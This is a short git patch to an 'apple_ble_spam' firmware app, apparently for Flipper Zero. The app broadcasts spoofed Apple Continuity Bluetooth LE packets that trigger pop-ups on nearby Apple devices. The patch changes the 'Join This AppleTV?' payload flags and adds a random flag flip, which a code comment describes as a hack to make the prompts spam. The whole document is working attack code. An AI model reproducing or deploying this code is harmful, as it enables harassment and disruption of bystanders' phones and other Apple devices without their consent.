From 23e08baaf18155acae2e1a081eb2e76a7ceda0f8 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 6 Sep 2023 12:55:31 +0200 Subject: [PATCH] Join appletv spammy --- applications/external/apple_ble_spam/apple_ble_spam.c | 4 ++-- .../external/apple_ble_spam/lib/continuity/continuity.c | 4 +++- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c index 7a246103b..3b4225f60 100644 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ b/applications/external/apple_ble_spam/apple_ble_spam.c @@ -86,12 +86,12 @@ static Payload payloads[] = { .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, }}, {.title = "Join This AppleTV?", - .text = "Modal, unlocked", + .text = "Modal, unlocked, spammy", .random = false, .msg = { .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x20}}, + .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, }}, {.title = "AppleTV Audio Sync", .text = "Banner, locked, long range", diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c index 229cd42d6..4796e1e56 100644 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ b/applications/external/apple_ble_spam/lib/continuity/continuity.c @@ -129,7 +129,9 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { break; case ContinuityTypeNearbyAction: - packet[i++] = msg->data.nearby_action.flags; // Action Flags + packet[i] = msg->data.nearby_action.flags; // Action Flags + if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam + i++; packet[i++] = msg->data.nearby_action.type; packet[i++] = (rand() % 256); // Authentication Tag packet[i++] = (rand() % 256); // ...